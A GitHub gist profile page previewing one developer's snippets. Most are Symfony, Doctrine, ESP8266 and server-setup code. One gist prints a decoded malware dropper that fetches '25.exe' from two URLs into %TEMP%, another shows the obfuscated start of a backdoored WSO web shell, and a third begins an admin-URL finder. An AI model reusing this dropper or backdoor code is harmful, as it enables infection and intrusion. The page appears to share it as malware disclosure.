Skip to content

Instantly share code, notes, and snippets.

View vaibhavpandeyvpz's full-sized avatar
🐢
I may be slow to respond.

Vaibhav Pandey vaibhavpandeyvpz

🐢
I may be slow to respond.
View GitHub Profile
@vaibhavpandeyvpz
vaibhavpandeyvpz / bootstrap_4_horizontal_layout_fix.html.twig
Last active July 29, 2021 06:11
Moving form errors in Symfony 4 form label to below input.
{% extends 'bootstrap_4_horizontal_layout.html.twig' %}
{% block form_label_errors %}{% endblock %}
{% block form_row -%}
{%- if expanded is defined and expanded -%}
{{ block('fieldset_form_row') }}
{%- else -%}
<div class="form-group row{% if (not compound or force_error|default(false)) and not valid %} is-invalid{% endif %}">
{{- form_label(form) -}}
@vaibhavpandeyvpz
vaibhavpandeyvpz / Example.php
Last active August 18, 2025 13:54
Populate `created_at` and `updated_at` columns with Symfony & Doctrine.
<?php
namespace App\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
* @ORM\Entity(repositoryClass="App\Repository\ExampleRepository")
* @ORM\HasLifecycleCallbacks()
* @ORM\Table("examples")
#include <ESP8266WiFi.h>
int PIN_N = 15; // pin on which LED is connected
int PIN_MODE = LOW;
int SERIAL_BAUD = 115200;
const char* WIFI_SSID = "ESP8266"; // your WiFi SSID
const char* WIFI_PASSWORD = "nodemcutest"; // your WiFi password
@vaibhavpandeyvpz
vaibhavpandeyvpz / ubuntu-16-vps-lamp.sh
Last active April 27, 2023 16:23
Install and setup LAMP stack + Composer on a clean Ubuntu 16.04 VPS
#!/usr/bin/env bash
APACHE_USER=wwwhost
VHOSTS_DOMAINS=(example.com second.example.com)
sudo ufw allow in "OpenSSH"
# Install Apache
sudo apt-get update
sudo apt-get install apache2
sudo nano /etc/apache2/apache2.conf # Add ServerName ... directive at bottom
@vaibhavpandeyvpz
vaibhavpandeyvpz / mosquitto_pw.php
Created August 3, 2016 13:51
Function in PHP for hashing passwords to be compatible with Mosquitto MQTT broker
<?php
/**
* @param string $plain
* @param string $algo
* @param int $iterations
* @param int $saltlen
* @param int $keylen
* @return string
*/
@vaibhavpandeyvpz
vaibhavpandeyvpz / invoice_copy_Bqa6Ci.decoded.js
Created February 16, 2016 12:47
***SPAM*** Invoice #34069680 [Malware]
(function() {
var urls = [
'http://wherareyoufromff.com/25.exe',
'http://arendroukysdqq.com/25.exe'
];
var shell = WScript.CreateObject('WScript.Shell');
var xmlhttp = WScript.CreateObject('MSXML2.XMLHTTP');
var stream = WScript.CreateObject('ADODB.Stream');
var tmp = shell.ExpandEnvironmentStrings('%TEMP%\\');
var file = tmp + 4194304 + '.exe';
@vaibhavpandeyvpz
vaibhavpandeyvpz / wso-backdoor.php
Created July 28, 2014 06:56
Beware! Most WSO 2.5.1 Scripts Over Internet Are Back-Doored
<?php
/**
* v2.5.1
* Hosted at: http://pastebin.com/BXmWGhMu (Line: #1037)
* Hosted at: http://snipplr.com/view/70661/ (Line: #1037)
* Hosted at: http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/wso2.5.1.zip (Line: #1037)
* Hosted at: http://pastebin.com/KCtz6XA9 (Line: #1037)
*/
// Obfuscated
$x10 = "\x6dai\154";
@vaibhavpandeyvpz
vaibhavpandeyvpz / Signature.java
Created July 25, 2014 02:51
Generate Hash of Application Signature in Android
import java.security.MessageDigest;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.util.Base64;
class Signature {
@vaibhavpandeyvpz
vaibhavpandeyvpz / admin-uri.php
Last active August 29, 2015 14:04
Simple & Extensible Script To Find Possible Admin URIs
<?php
/**
* Simple script to find possible admin URLs for a given domain
* Replace [ .* ] with array( .* ) if running PHP < 5.4 (if found)
* By Vaibhav Pandey <[email protected]>
*/
define('REGEX_DOMAIN', '/^(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})$/');
function __code($uri) {